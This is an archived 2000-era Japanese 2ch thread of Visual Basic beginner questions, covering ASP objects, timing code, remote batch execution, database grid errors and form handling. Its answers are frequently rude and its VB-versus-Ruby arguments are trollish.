■■■VB初心者質問スレ■■■

このエントリーをはてなブックマークに追加
1VB初心者代表
まとめましょう
2VB初心者代表 :2000/09/07(木) 21:13
まずは超初心者の私から。

オブジェクトの使い方を教えてください。具体的には
VBスクリプトでASPを作っていたんですが、その一
部をVBのDLLにすることになったんです。そこで、
ASPの組み込みオブジェクト Session("userid")の
ような構文が使えなくなってしまいました。(コンパ
イルエラーになります)参照設定はMicrosoft Active
Server Pages Object Liblaryにしてあり、オブジェク
トブラウザにも表示されるんですが。

上級者の皆様、ぜひお願いします。
3名無しさん@お腹いっぱい。 :2000/09/08(金) 01:32
お約束ですが、本読んで勉強しましたか?
初心者なら初心者らしいプログラム作ってください!
4名無しさん@お腹いっぱい。 :2000/09/09(土) 14:21
VBの逆コンパイラは何処にあるんですか?
探しても見つかりませんでした。
5名無しさん@お腹いっぱい。 :2000/09/09(土) 18:15
>4
もっといっしょうけんめいさがしてください
さがしかたがたりないだけです
64 :2000/09/09(土) 22:50
>5
わかりました。夢精するほどのレベルで探してみます。
7名無しさん@お腹いっぱい。 :2000/09/10(日) 01:34
VBスレっていつもこんな感じで終わって
何もテクニカルな話が出てこないなあ・・・

もう終わってるのか?
8名無しさん@ぎこぎこのり :2000/09/10(日) 04:18
ImmGetCompositionString
をなんとかVBで使いたいのですが
なんかいい方法は無いでしょうか・・
サポートされないとか出るんです
9四流プログラマー :2000/09/11(月) 09:55
何度も出してすいません。

オフコンのデータをコード上でPCのオラクルに移す方法を教えてください。
(FDで受け渡しする方法以外で)できるなら、必要な機材(ツールも)も教えてください。

環境

PCとオフコンの間は、LANのようなローカル接続です。
10名無しさん@お腹いっぱい。 :2000/09/11(月) 10:45
>9
マジレスする。あんたには無理だ。上司にそう言え。

だがあんまりにも哀れなので、少し書いておく。

まず、PCからオフコンがどのように見えているのかを書け。
見えてないならその時点で無理だ。

多分PCは端末エミュなのだと思うが、そうするとオフコンのOSの
オペレーションが分からないとどうにもならん。
そのオフコンのマニュアルを手に入れろ。これも無理だろうが。
オフコンの開発連中はOSやハードの知識がほとんどない。
運用部門が別にあるからな。だから聞いても無駄だ。
(このあたりは個人的な知識なので実情は知らん。まわりのCOBOLerはそうだった)

次にそのオフコンの文字コードをShift-jisに変換できるかどうか。
普通は端末エミュの機能としてあるか、ソフトが売っている。
無論ソフトはメーカー製でばかみたいな値段をつける。

ようするに、Winのファイルに落とした後でないとあんたの出番はない。
固定長のファイルが得られたら、あとはVBでもなんでもつかえ。
いくらなんでもSQLぐらいは知ってるんだろ?

もし少しでもこの書き込みが役に立ってありがたいと思うなら、
よそのスレで書き込むのはもうやめろ。
そして、もう少し細かい状況を書け。
このスレとは関係ないが、このスレも半分終わってるから勘弁してやってほしい。

一番よいと思うことを再度書く。
あんたには無理だ。上司にそう言え。
言ったら忘れずに「上司に言いました」と書き込めよ。
11ビル・ジョブス :2000/09/11(月) 12:00
>9
電源は入ってますか?じゃなくてオフコンメーカーに
ちゃんと相談しましたか?えっ、保守入ってないから
聞いてくれないって?だったらメーカーのHPから質問
しましょう!なにかミドルウェアあれば直接オフコン
からSQLで表ごと抜けるかも?
オフコン側のユーティリティーを作るのは無理だから
無かったらFDでシコシコ抜くしかないな。
以上、逝ってよし。
12名無しさん@お腹いっぱい。 :2000/09/11(月) 12:31
>>10-11
どうする9ってドキュンだよ。。。
http://piza.2ch.net/test/read.cgi?bbs=tech&key=965916840&st=389
13abu :2000/09/11(月) 12:36
質問です。
@サーバ(unix)
Aクライアント(Win95/DOS)
@から指示を出し、Aに有るバッチをA上で実行したいのです。
NTや、unixなら、rshや、rexecがあるので、これを利用すれば、と思ったのですが
WIN95ではrsh.exe、rexec.exeは無いようです。

ソケットを扱えばどうにかなるらしいのですが、、、
どなたか良い方法を教えていただけないでしょうか?
又、どこか参考になるLINKを教えていただけないでしょうか?
14abu :2000/09/11(月) 12:37
すみません、
@クライアント
Aサーバ
です。
15名無しさん@お腹いっぱい。 :2000/09/11(月) 12:39
>>13
>ソケットを扱えばどうにかなるらしいのですが、、、
その通りです。以上
16ビル・ジョブス :2000/09/11(月) 12:55
telnetしてください。
17>13 :2000/09/11(月) 13:03
昔、NetWareLiteをやっと入れた時に、
program.BAT ファイルがあればそれを実行して実行後削除する
というバッチを無限ループで走らせておいて
別のパソコンから program.BATを作るというような仕掛けで
時間のかかるコンパイルをさせたりしてた。
18ビル・ジョブス :2000/09/11(月) 13:11
>12
おれは人を騙すより、騙されたほうがいい...
ちょっと無理か...
19四流プログラマー :2000/09/11(月) 13:16
10サン

レスありがとうございます。
上司は三日前から、連絡途絶状態のため、報告ができません。
20名無しさん@お腹いっぱい。 :2000/09/11(月) 14:10
>19
詳しく書けといっただろ。
連絡ぐらい何とかしろ。遊んでるんじゃないんだろ。
それともネタなのか? やっぱりネタなんだな?
今後も同じようなわけ分からん書き込みするんだったら
じゃまだからとっとと消えてくれ。たのむ。
21名無しさん@お腹いっぱい。 :2000/09/11(月) 14:14
>>20
貴方の貴重な時間をこんなタコスケにかけるのは勿体無い。
もう相手をしないほうがいい。

ドキュンは次の一行を読んだら、前の行に書いてあった事を忘れるんだ。
>言ったら忘れずに「上司に言いました」と書き込めよ。
に答えただけさ。
22名無しさん@お腹いっぱい。 :2000/09/11(月) 14:22
プログラムの実行速度を量る場合,
Dim lngTime1 As Long
Dim lngTime2 As Long

lngTime1 = timeGettime()
For i =1 To 10000
・・・・・・・・・・
Next
lngTime2 = timeGettime()

MsgBox lngTime2 - lngTime1

としているんですが,まだ正確に測定できる方法はあるでしょうか?
23>22 :2000/09/11(月) 15:50
QueryPerformanceCounter で得た値をQueryPerformanceFrequencyで割ればいいけど
さあVBで出来るかなあ?

というか、キャッシュの内容によって違って来るから正確になんて意味ないよ
24>22 :2000/09/11(月) 16:05
timeGettime()のオーバヘッドを計測しといて削る
Dim lngTime3 As Long
Dim lngTime4 As Long
lngTime3 = timeGettime()
lngTime4 = timeGettime()

または1:1回ループさせたときと、10000回ループさせたときの差から計測
または2:
For i=1 To 10000
hoge ←最適化回避の命令
hoga ←測定したい処理
Next

For i=1 To 10000
hoge ←最適化回避の命令
Next
の差から計測
2522 :2000/09/11(月) 17:32
>23 ありがとうございました。できました。
Dim lpperformancecount As LARGE_INTEGER
Dim lpfrequency As LARGE_INTEGER

Call QueryPerformanceCounter(lpperformancecount)
Call QueryPerformanceFrequency(lpfrequency)
lngTime1 = lpperformancecount.lowpart

Call Sleep(10秒眠れ)

Call QueryPerformanceCounter(lpperformancecount)
Call QueryPerformanceFrequency(lpfrequency)
lngTime2 = lpperformancecount.lowpart

MsgBox (lngTime2 - lngTime1) / lpfrequency.lowpart
で10秒近い値が出たのであっていると思うのですが。

2622 :2000/09/11(月) 17:33
ただ、APIを使う為に標準モジュールに書いた構造体
Public Type LARGE_INTEGER
lowpart As Long
highpart As Long
End Type
のhighpartのほうが何を意味しているのかわからないです。

>24
今夜か明日にでも挑戦してみます。
昨日VB6を買ってきて勉強し始めたのですが,最適化回避のしかたとかなんとかは,入門書に載ってないので,この頭で理解するのに少し時間が必要のようです
27通りすがり :2000/09/11(月) 17:45
>Call Sleep(10秒眠れ)
Now関数工夫すれば同じく眠れるぞ。
あまりAPIに頼るとVBのレベルも上がらなくなることを逝っておく。
28>27 :2000/09/11(月) 17:52
そうそう、VBレベルって、OSとかのバージョンアップ時に
強制的にシステム改定を行わせるレベル。

http://mentai.2ch.net/test/read.cgi?bbs=prog&key=967480158
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=965932785
29abu :2000/09/11(月) 19:19
>16
telnetは対人間用仕様なので、コマンドの指示はかなり不向きだというのを
どこかで見ました。SHELLポートをたたけば、サーバ側でrshdが立ち上がって、
というところで挫折中です。(これも当たっているやら)
>15
WIN95ではだめなのでは?と、動くかどうかすら分からないオタコ状態なものだったので、
希望が持てました。ソケットを使用すればどうにかなるらしいのでがむばります。

参考になるLINKありましたら引き続きお教えください。
30>>26 :2000/09/11(月) 19:44
上位にデータがあったら実数にしてから2^32倍して加算の事
31>abu :2000/09/11(月) 19:47
win95にtelnetdあったっけ? とにかく何か走らせんと駄目でしょう?
だったら >>17の方法でいいんじゃないの?
32>31 :2000/09/11(月) 21:19
フリーのもあるのはあるけど
http://www.vector.co.jp/soft/win95/net/se037305.html?g
場合によってはお金払って買った方がいいよ
33abu :2000/09/12(火) 00:02
>31、32
サーバ:unix
クライアント:win95
です。デーモンはunix側です。
(ぐーー私が理解出来てないのでしょうか?)

あと、17の方法結構良いとおもいます。早速検討させていただきます。
てっきり他の方へのレスだと思い込んでました。
ありがとうございます。
34名無しさん@お腹いっぱい。 :2000/09/12(火) 03:56
static変数の初期化はどうすればいいんでせうか?
マジ初心者の質問ですまん。
35名無しさん@お腹いっぱい。 :2000/09/12(火) 08:37
VBってうんこ
36>33 :2000/09/12(火) 09:42
>>14
>@サーバ(unix)
>Aクライアント(Win95/DOS)
>@から指示を出し、Aに有るバッチをA上で実行したいのです。
ってあるけど、 という事はWin95からunixアプリを操作させたいのね?
>>15で訂正入ってるけど余計判らんぞ
37名無しさん@お腹いっぱい。 :2000/09/12(火) 10:18
>>33
セキュリティを無視していいみたいなのでサーバ上でWebサーバを
立ち上げてCGIでコマンド実行させれば、telnetをしゃべるより楽だよ
38名無しさん@お腹いっぱい。 :2000/09/12(火) 13:09
static変数使うのヤメレ〜
オブジェクト指向なら、クラス変数にするでしょ?
でも、VBやってると、何時までも初心者で、オブジェクト指向に辿り着けないそう
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=968585064
39名無しさん@お腹いっぱい。 :2000/09/12(火) 18:54
VBで物足りなくなってくる人はちゃんとオブジェクト指向に向かいます。
何も知らないまま、CナントカやJナントカ使ってオブジェクト指向気取り
してる人より将来性は有りますよ。
40名無しさん@お腹いっぱい。 :2000/09/12(火) 19:17
strHoge(0) = txtHoge(0).text
strHoge(1) = txtHoge(1).text
strHoge(2) = txtHoge(2).text

などの処理は,配列が何個くらいから
For〜NEXT使った方がいいのでしょうか?

少ない回数位なら上記でかまわないと個人的には思うんですけど,配列何個くらいから,FOR〜NEXTの方が処理速度が優勢になるんでしょうか?
41>40 :2000/09/12(火) 19:59
For〜Nextループが、ループの展開より速度的に優位になることはありえません。
ところで、定数回数のループだよね?(可変回数のループは展開できないし)
4241>40 :2000/09/12(火) 20:01
で、Forループに移行するタイミング。
記述が面倒になったら。(藁
43名無しさん@お腹いっぱい。 :2000/09/12(火) 20:08
スーパーコンピューターみたいにベクトル演算出来るハードなら
ループの方が速いんじゃなかったっけ?
44名無しさん@お腹いっぱい。 :2000/09/12(火) 21:11
>>42
俺もそうしてる
端数ループ、定数回ループ、端数回ループとやるのが基本
4544 :2000/09/12(火) 21:17
定数回ループ->定数回の展開を行った処理のループ
46abu :2000/09/12(火) 21:18
>36
はは、本当だ。とても分かりづらい。上手く書けてなくてすみません。
>37
はい。セキュリティは無視できます。
CGIも考えたのですが、webサーバが無く、又、サーバーの内部構成を変えたくないとの事した。
47名無しさん@お腹いっぱい。 :2000/09/20(水) 17:47
VBからNetDDを使いたいのですが、.LinkTopic にどんな値を入れるのかわかりません・・・
48名無しさん@お腹いっぱい。 :2000/09/20(水) 17:47
NetDDEでした(汗
49名無しさん@お腹いっぱい。 :2000/10/06(金) 13:18
タイトルに飾りがついているスレはあげたくないのだが、質問スレが立つ前に。
50名無しさん@お腹いっぱい。 :2000/10/07(土) 08:53
Cの関数をスタティックリンク出来ませんか。
51名無しさん@お腹いっぱい。 :2000/10/14(土) 00:23
MaskeditとMonthviewにNull突っ込むとエラーが起きますが
データベースと連結して使用するとき皆さんはどうしてますか?
Nullを使用しないといけないときは使用しませんか?

でも同様にTextboxも弾かれるんですけど
Nullは使うなってことなのかな?
でもNullが無いと困りませんかね
52マジレス :2000/10/16(月) 05:05
ダイアルアップソフトのつくり方わかるプログラマ−の人いますか?
@ISDN回線の2回線をパソコンの画面で制御できる。
ATAのリダイアル規制をはずして1分間に50回以上リダイアルできる
B1つの番号が混んでいたら他の予備に登録した番号をどんどんかけていく。
Cつながったら、電話機で話ができる
このようなプログラムがわかる人いますか?
わかる人がいたら教えてください
53名無しさん@お腹いっぱい。 :2000/10/20(金) 01:03
この間からVBを始めたばっかりの者です。
ボタンを押したらそのフォームを閉じて別のフォームを画面上に開くようにしたいのですが、
どのようなコードを書けば良いでしょう。
dim なんとかだとタスクバーに入って不便です。
54名無しさん@お腹いっぱい。 :2000/10/20(金) 02:37
スタートアップをフォームでなくSub Mainにすればよろし。

#MainなのにSubとはこれいかに。
5553 :2000/10/20(金) 05:35
ありがとうございます。さっそくやってみます。
56名無しさん@お腹いっぱい。 :2000/10/20(金) 05:56
>53
sub command1_click()
form2.show
unload me
end sub
でだめ?
5753 :2000/10/20(金) 06:14
あ、できました!
ありがとうございます。これで問題解決です! 感謝!
58名無しさん@お腹いっぱい。 :2000/10/20(金) 18:12
'MAIN.BAS
PUBLIC G_GAMEN_ID AS STRING

PUBLIC SUB MAIN
 SELECT CASE GAMEN_ID
 CASE "GAMEN01"
  FORM1.SHOW
 CASE "GAMEN02"
  FORM2.SHOW
 END SELECT
END SUB

'FORM1.FRM
SUB COMMAND1_CLICK()
 G_GAMEN_ID = "GAMEN02"
 ME.HIDE
END SUB
59名無しさん@お腹いっぱい。 :2000/10/20(金) 18:14
初期化とループするの忘れた・・・
60名無しさん@お腹いっぱい。 :2000/10/20(金) 20:43
中級者(のつもり)なんだけどVBでRealPlayerのActiveX使って
オリジナルのプレイヤーを作る方法がわかりません。
どっかに情報があるらしいけど みつからない・・・
サンプルプログラムのソース、知りませんか
61名無しさん@お腹いっぱい。 :2000/10/21(土) 15:11
ちうきうしゃはしょしんしゃすれにくんな
62名無しさん@お腹いっぱい。 :2000/10/21(土) 22:09
VBってうんこ
63(゚∀゚) :2000/10/21(土) 22:15
うんこってVB
64名無しさん@お腹いっぱい。 :2000/10/22(日) 00:38
べリーびューティホー
65魁!名無しさん :2000/10/23(月) 03:03
同じグループ内で別のプロジェクトのフォームを開くにはどうしたら良いでしょうか?
66名無しさん@お腹いっぱい。 :2000/10/23(月) 16:12
うんこをバカにするな!
67名無しさん@お腹いっぱい。:2000/10/25(水) 14:02
VBでのコーディング方法についての質問。

・条件Aが真の時、かつ条件Bが真の時には、処理Xを行う。
・それ以外の条件の時は、処理Yを行う。
・どちらの場合も、そのあと処理Zを行う。
・どの処理も関数化が困難である。
  (大量のプロシージャ内のスコープを持つ変数を使用するなど)
・但し条件Bは条件Aが真の場合のみ評価できる。
  (If 条件A And 条件B Then →例外が発生する)

どのような構造でコーディングするのが最も良いと思いますか?
処理X、処理Yともに数行のコーディングの場合は?
処理X、処理Yともに数十行のコーディングの場合は?
処理X、処理Yともに数百行のコーディングの場合は?

参考1)−−−−−−−−−−−−−−−
  If 条件A Then
    If 条件B Then
      処理X
    Else
      処理Y
    End If
  Else
    処理Y
  End If
  処理Z

参考2)−−−−−−−−−−−−−−−
  Dim blnX As Boolean
  blnX = False
  If 条件A Then
    If 条件B Then
      blnX = True
    End If
  End If
  If blnX Then
    処理X
  Else
    処理Y
  End If
  処理Z

参考3)−−−−−−−−−−−−−−−
  If 条件A Then
    If 条件B Then
      Goto X_P
    End If
  End If
  処理Y
  Goto Exit_P
X_P:
  処理X
Exit_P:
  処理Z

参考4)−−−−−−−−−−−−−−−
  If 条件A Then
    If 条件B Then
      Gosub X_SUB
    Else
      Gosub Y_SUB
    End If
  Else
    Gosub Y_SUB
  End If
  処理Z
  ---------------Exit
X_SUB:
  処理X
  Return
Y_SUB:
  処理Y
  Return


68名無しさん@お腹いっぱい。:2000/10/25(水) 15:22
RubyとVBはどちらが上ですか?
69゜Д゜メ:2000/10/25(水) 15:27
VBは鼻クソ。
70>68:2000/10/25(水) 15:36
Rubyの方が格段に上。
71名無しさん@お腹いっぱい。:2000/10/25(水) 16:29
Ruby>>>>PHP>>>>>>>>>>>>>>>>>Perl>>>VB
72ぎこるび:2000/10/25(水) 16:41
>>71
それは誇張のしすぎです。
言語仕様的に、Ruby>Python>Perl>PHP
VBは圏外。
73>72:2000/10/25(水) 17:56
同感。
74>72:2000/10/25(水) 18:08
それはそうだが開発環境も加味すると
RubyよりVBのがまだましって気がする。

mule+gdb+いろいろがVisual Studioより
開発しやすいとはとても思えないんだけど。

早くKylixでないかな。
75>69:2000/10/25(水) 18:10
鼻クソの方が格段に上。
76>74:2000/10/25(水) 18:16
煽りはやめてね♪
7776:2000/10/25(水) 18:17
>75でした。ぺこり。
78名無しさんi486:2000/10/25(水) 19:09
Perl>VB
なんもいいがこれは納得できん。
PerlがVBに勝てるとこを逝ってくれ。
79名無しさんiAPX432:2000/10/25(水) 19:57
なんでもいいが、VBが他の言語に勝てるとこを逝ってくれ。
80名無しさん@お腹いっぱい。:2000/10/25(水) 22:31
初心者相手に儲けられるとこ。
プログラマー人口が多いので取りあえず人がかき集められる
とこ。<ほとんど初心者の域を出ない者ばかりだが
81>79:2000/10/25(水) 22:44
同感。
82名無しさん@お腹いっぱい。:2000/10/25(水) 22:49
RubyはVBに比べてどこが優れているのですか?
CGIぐらいしかまともに作れないRubyに比べて、VBはちゃんとした
アプリケーションを作れますよ。
83名無しさん@お腹いっぱい。:2000/10/25(水) 23:26
>VBはちゃんとしたアプリケーションを作れますよ。
     ̄ ̄ ̄ ̄ ̄ ̄
意義有り。
84名無しさん@お腹いっぱい。:2000/10/25(水) 23:57
意義なし。
VBは作れる、が作れないVB厨房が多すぎるだけである。
85名無しさん@お腹いっぱい。:2000/10/25(水) 23:58
異議だ‥スマソ
86>85:2000/10/26(木) 00:02
いや、意義なしでちゃんと通じたよ。
87名無しさん@お腹いっぱい。:2000/10/26(木) 00:10
「Rubyにくらべて」というなら異議有り。
88ぎこるび:2000/10/26(木) 00:30
>>82
開発環境とWindowsGUIアプリの作りやすさはVBがはるかに上です。
で、ちゃんとしたアプリが作れるかは製作者によります。
何がちゃんとしているかは知りませんが。
まあ、VBとRubyでは開発対象とするソフトウェアの性質が違いますね。
89名無しさん@お腹いっぱい。:2000/10/26(木) 02:22
>VBとRubyでは開発対象とするソフトウェアの性質が違いますね。
それいっちゃあ、VCもDelphiも存在意義が違うから秤にかけれないってことになっちゃうよ
>ちゃんとしたアプリが作れるかは製作者によります
製作者が成長しにくい言語のような気がする。
普通にwinアプリの基本を知っていて欲しい、文法なんて知らんでいいから。
90名無しさん@お腹いっぱい。:2000/10/26(木) 05:11
>87
Rubyとくらべてみよう。
A.VBは作れる、が作れないVB厨房が多すぎるだけである。
B.Rubyは作れる、が作れないRuby厨房が多すぎるだけである。
Aに異議アリか?
91名無しさん@お腹いっぱい。:2000/10/26(木) 06:23
>90
を? A.だけ取り出して、Rubyと比べてるって?
ううむ、おれは日本語が苦手なようだ…
92名無しさん@お腹いっぱい。:2000/10/26(木) 10:28
VBってうんこ
93名無しさん@お腹いっぱい。:2000/10/26(木) 11:51
ランタイムが邪魔なんじゃボケ
94名無しさんi486:2000/10/26(木) 15:06
VBは好きだがランタイムはウザイね。
アレが無きゃいい言語だと思う。
95名無しさん@お腹いっぱい。:2000/10/27(金) 03:37
それは動かないからいいということか?
96名無しさん@お腹いっぱい。:2000/10/27(金) 11:01
VBでPingを撃つプログラムのサンプルってどこかにないですかねぇ・・・
なんだかさっぱりわからないもんで
どなたかよろしくお願いいたします
97名無しさん@お腹いっぱい。:2000/10/27(金) 12:04
>>96
住所、氏名、年齢、性別、電話番号をここに書いたら、教えなくない。
ってゆーか、市んで。
98名無しさん@お腹いっぱい。:2000/10/27(金) 12:17
>>97
なぜ?
99月刊能力不足:2000/10/27(金) 13:17
メモリが少ない組込み用Cプログラムで、
Cプログラムのスパゲティー化を防ぐには、
どうしたよいでしょうか?
10099:2000/10/27(金) 13:18
まちがった。スマソ
101初心者代表:2000/10/27(金) 16:35
ACCESSで作成したMDBファイルをDBグリッドを使って表示させたいのですが、
---
(hoge.mdb)
テーブル名:Tbl_Syurui(商品のジャンル)
フィールド:syurui_code(オートナンバー) , syurui_mei(名称)
テーブル名:Tbl_Syouhin(商品)
フィールド:syouhin_code(オートナンバー) , syouhin_mei(名称) , syurui_code
-----
・データコントロール(dtaSyurui,dtaSyouhin)
・DBグリッド(dbgSyurui,dbgSyouhin)
-----
※dbgSyuruiから目的のジャンルを選択すると、dbgSyouhinに該当の商品が表示
-----
Private Sub Form_Load()
dtaSyurui.RecordSource = "SELECT syurui_code, syurui_mei FROM Tbl_syurui ORDER BY syurui_mei"
End Sub


Private Sub dtaSyurui_RowColChange(LastRow As Variant, ByVal LastCol As Integer)
Dim strSyuruiCode As String
'種類名のコード番号を取得して代入
strSyuruiCode = Str(dtaSyurui.Recordset("syurui_code"))
'データコントロールのRecordSourceプロパティにSQL文を設定
dtaSyouhin.RecordSource = "SELECT syouhin_code , syouhin_mei , syurui_code FROM Tbl_syouhin WHERE syurui_code = " + strSyuruiCode + " ORDER BY syouhin_mei"
'リフレッシュ
dtaSyouhin.Refresh
End Sub

で、dtaSyouhin.Refreshの段階で"パラメータが少なすぎます。1を指定してください。"と怒られます。
どこで勘違いをしているのでしょうか?
102名無しさん@お腹いっぱい。:2000/10/27(金) 22:15
なんか最近VBと何々を比較って煽り多いな。
恥ずかしい。

VBがM$から離れてラショナルとかから
出ればマシになるやも。M$以外だったらマルチプラットホーム
の可能性も出てくるし。ヘジルスバーグも思ってるだろうな・・・「現VBってうんこ・・・・・・・・」

103名無しさん@お腹いっぱい。:2000/10/27(金) 22:22
>>101
SQLをRECORDSOURCEに入れる前に文字列変数にでも入れて
メッセージダイアログで確認せい!
ってゆーかいくらVBがまだON ERROR GOTOしかないからって
エラーハンドラぐらい書けい!
104名無しさん@お腹いっぱい。:2000/10/28(土) 23:56
うんこなPG書くには丁度いいんですよ、これが。
105名無しさん@お腹いっぱい。:2000/10/29(日) 00:07
>>104
まともなこと書いてからあげろ。
そんなクソレス書いても誰もレスつけられん。
106名無しさん@お腹いっぱい。:2000/10/29(日) 00:20
ごめんよ
それで飯食ってる奴もいるって事を言いたかっただけさね。
107名無しさん@お腹いっぱい。:2000/10/29(日) 00:56
ウンコでメシ食うなよ‥
108名無しさん@お腹いっぱい。:2000/10/29(日) 01:03
う〜ん、そんな事いわれてもなぁ
ウンコでも飯が食えればいいんだよ
多分・・・
109名無しさん@お腹いっぱい。:2000/10/29(日) 02:04
箸で食え
110名無しさん@お腹いっぱい。:2000/10/30(月) 19:49
今、VBでインターネットエクスプローラーを作ろうと思っているんですが、テキストから色の抽出はできたものの、場合によって異なる表の数などどうすればよいのか。
テキストボックスを20個ぐらい用意してそれぞれ背景色等を設定するなどした場合、IE5ほどの機能まで到達できるのか?
111名無しさん@お腹いっぱい。:2000/10/30(月) 20:12
>>110
Internet ExplorerはMicrosoftの登録商標です
112名無しさん@お腹いっぱい。:2000/10/30(月) 20:25
ばかもの
VBごとき低劣なソフトをだすな
俺は国津慎吾だ
ばかもの
113名無しさん@お腹いっぱい。:2000/10/30(月) 20:34
>>110
いみふめ。IEのコンポーネント張り付けりゃいいじゃん。
114>113:2000/10/30(月) 20:46
あんたのほうがいみふめ。
115113:2000/10/30(月) 21:08
>>114
はあ? 自分でブラウザそのもの作るなんて事するより、IEのコンポーネント
流用しちまった方が楽やん。
いや、俺は自分でブラウザ作りたいんだという場合でも、110みたいな事
やってたら永久にできんだろ。
116110:2000/10/30(月) 21:39
たしかにそうなんだけどさ。標準コントロールだけで作りたいのさ。アハ
117114:2000/10/30(月) 22:39
>115
きっと一生かけてやるんだろ。(藁
118名無しさんi486:2000/10/31(火) 00:37
dataコントロールを使ってExcelにリンクさせたいのですが、うまくいきません。
conect= Excel 8.0;
DatabaseName=C:\Book1.xls
んで
RecordSourceにSheet1$が出ず、組み込み可能ではないといわれます。
win98se vb6proSP3 Excel2000
119名無しさん@お腹いっぱい。:2000/10/31(火) 07:08
>>110
lynxのソース読んで出直してこい。ネスケでもいいよ。
あ、VB使いが読めるわけねーか。すまそ。
120名無しさん@お腹いっぱい。:2000/10/31(火) 13:26
>>119 どのみち、lynxはぜったい参考にならんぞ。
121名無しさん:2000/10/31(火) 14:44
>>120
バカの1つ覚えだからほっとけ
122名無しさん@お腹いっぱい。:2000/10/31(火) 15:38
VBは使いやすい。言語としても、開発環境としても。
RADツールの先駆けとなったのも確か。
簡単な言語は習得時間が短くバグも作りこみにくい。
VBをMSの製品だからという先入観で不当に低く評価するのはどうか。

また言うまでも無いことだが、難しい言語を扱えるからと言って
その人間が優秀とは限らない。119のような者はそれ以前に
人間性に問題がある。
123119ではないが:2000/10/31(火) 15:45
バカにされてるのは「VB」ではなくて「VB使い」。
それを読み取れないのも「VB使い」の特徴。
124名無しさん@お腹いっぱい。:2000/10/31(火) 15:58
VBはとっつきやすい。言語としても、開発環境としても。
RADツールの先駆けとなったのも確か。
簡単そうに見える言語は習得したような気分になる時間が短くバグに気づきにくい。
VBをMSの製品だからという先入観で不当に高く評価するのはどうか。
125きゃ〜:2000/10/31(火) 16:01
面白くなりそう〜
126名無しさん@お腹いっぱい。:2000/10/31(火) 16:04
>難しい言語を扱えるからと言って
>その人間が優秀とは限らない。

プログラマとしての能力を
簡単な言語「しか」扱えない人と比べたら、ねぇ。
127123ではないが:2000/10/31(火) 16:08
バカにされているのは「それを読み取れないVB使い」。
すべてのVB使いがバカにされているわけではない。
128名無しさん@お腹いっぱい。:2000/10/31(火) 16:12
プログラマとしての能力が高いからと言って
社会人としての能力が高いとは限らない。
2ちゃんに書き込んでる者はそれ以前に
人間性に問題がある。
129名無しさん@お腹いっぱい。:2000/10/31(火) 16:15
オートオマエモナー
130名無しさん@お腹いっぱい。:2000/10/31(火) 16:16
つーことは、128は
人間性に問題があって、プログラマとしての能力も低いわけだ。
131名無しさん@お腹いっぱい。:2000/10/31(火) 16:36
それにプログラマは
臭くて、ヲタク、女に嫌われる。

臭さを競ってどうするの?(プ
132名無しさん@お腹いっぱい。:2000/10/31(火) 16:38
>>129
>オートオマエモナー
仮運用中か?
133名無しさん@お腹いっぱい。:2000/10/31(火) 16:43
だからDelphiにしろって言ってんだろ。
おまえら本当に低能ぞろいだな。
134128:2000/10/31(火) 17:25
130には完敗です。
135名無しさん@お腹いっぱい。:2000/10/31(火) 17:31
VB使いの過半数は残りのVB使いより人数が多い。
136名無しさん@お腹いっぱい。:2000/10/31(火) 17:57
臭さではCOBOLに負けるな。
137名無しさん@お腹いっぱい。:2000/10/31(火) 18:05
すっぱい臭いはVBが勝ちです。
138名無しさん@お腹いっぱい。:2000/10/31(火) 18:15
VBに負けるからって突っ込むなよ。
VBが花形で栄華を誇ってるからって。

C++みたいな既にドライバ作りしかない言語と。
Delphiみないな花形VBのコンポーネント作りしかない裏方言語とは違うんだよ。

時代はJavaとC#とVBです。
早く勉強しろよ。(プ
139名無しさん@お腹いっぱい。:2000/10/31(火) 18:18
138は無知決定!
140名無しさん@お腹いっぱい。:2000/10/31(火) 18:28
>>135
何言ってるのかわからん。なぞなぞか?
>>138
面白すぎ。
141名無しさん@お腹いっぱい。:2000/10/31(火) 18:53
さては138も動物園ファンだな
142名無しさん@お腹いっぱい。:2000/10/31(火) 19:06
もう一捻りしてVJ++を推して欲しかった。
143名無しさん@お腹いっぱい。:2000/10/31(火) 20:07
荒れてきたなー。
>>122 >>138 は絶妙すぎ。
実は安置VBなんだろ
144名無しさん@お腹いっぱい。:2000/10/31(火) 20:27
VBはマイクロソフト以外からは出ないんですか?
競争が起こればもっとよくなると思うんですけど
145名無しさん@お腹いっぱい。:2000/10/31(火) 20:31
現在連続sage記録更新中です
146名無しさん@お腹いっぱい。:2000/10/31(火) 20:52
sage加担
147名無しさん@お腹いっぱい。:2000/10/31(火) 23:12
119だが、おまえら面白すぎ。
sage加担++
148名無しさん@お腹いっぱい。:2000/11/01(水) 00:43
VB使いは概ねどの会社でもバカにされされてるに一票!
149名無しさん@お腹いっぱい。:2000/11/01(水) 02:13
このまま消えるのかな?

遅レスで申し訳ないが、
>>120
>lynxはぜったい参考にならんぞ。
なんで?
150名無しさん@お腹いっぱい。:2000/11/01(水) 03:43
>149
lynx使ったことアル?
151122:2000/11/01(水) 14:34
>>144
もっぱらC++Builderを使っている。
たまにVC、VB。
アンチVBではない。

C++はSTL含めてパズルみたいで面白いのだが
果たして実務的な言語として、この煩雑さは
どうなんだろうかと思うことがある。
かと言ってJavaはいまいち実用性に欠けるので
C#の登場は必然ではないか。
152149:2000/11/02(木) 05:14
>>150
あるよ?
153名無しさん@お腹いっぱい。:2000/11/02(木) 12:54
例えば、Form_Load時に
-----
1.初期設定
2.レジストリ、又は設定ファイルからの読み込み
3.(2)での値によって処理を分岐
4.Form_Loadの処理終了
-----
という過程があった場合、
-----
Private Sub Form_Load()
(1)の処理
(2)の処理
(3)の処理
End Sub
-----
をだらだらと書くのと
-----
Private Sub Form_Load()
call (1)の処理
call (2)の処理
call (3)の処理
End Sub
-----
というように、書くのとでは、一般的にどっちがいのでしょうか?

それと、仕様書工房というソフトの体験版が手元にあるんですけど、このソフトで生成されたものを見本にしても大丈夫でしょうか?
154名無しさん@お腹いっぱい。:2000/11/03(金) 00:56
関数は小さく、言語に関係無く常識です。
155名無しさん@お腹いっぱい。:2000/11/03(金) 03:31
いきなり「例えば」って、これは質問なのか?
…それとも独り言か?危険なやつだな。

質問だとすると、答えは「どっちでもいい、おまえの好きにしろ」と、
「まず仕様書工房のメーカー(不治痛か?)に聞け!」だよ。
忠告だが、こういう類の物は回りに使ってる奴が一人もいないなら、
やめといたほうがいいな。(藁
どうでも良いけどサゲロ。
156名無しさん@お腹いっぱい。:2000/11/10(金) 23:50
ActiveXってどう思う?
扱いが面倒だけど。
157名無しさん@お腹いっぱい。:2000/11/11(土) 01:14
nu-
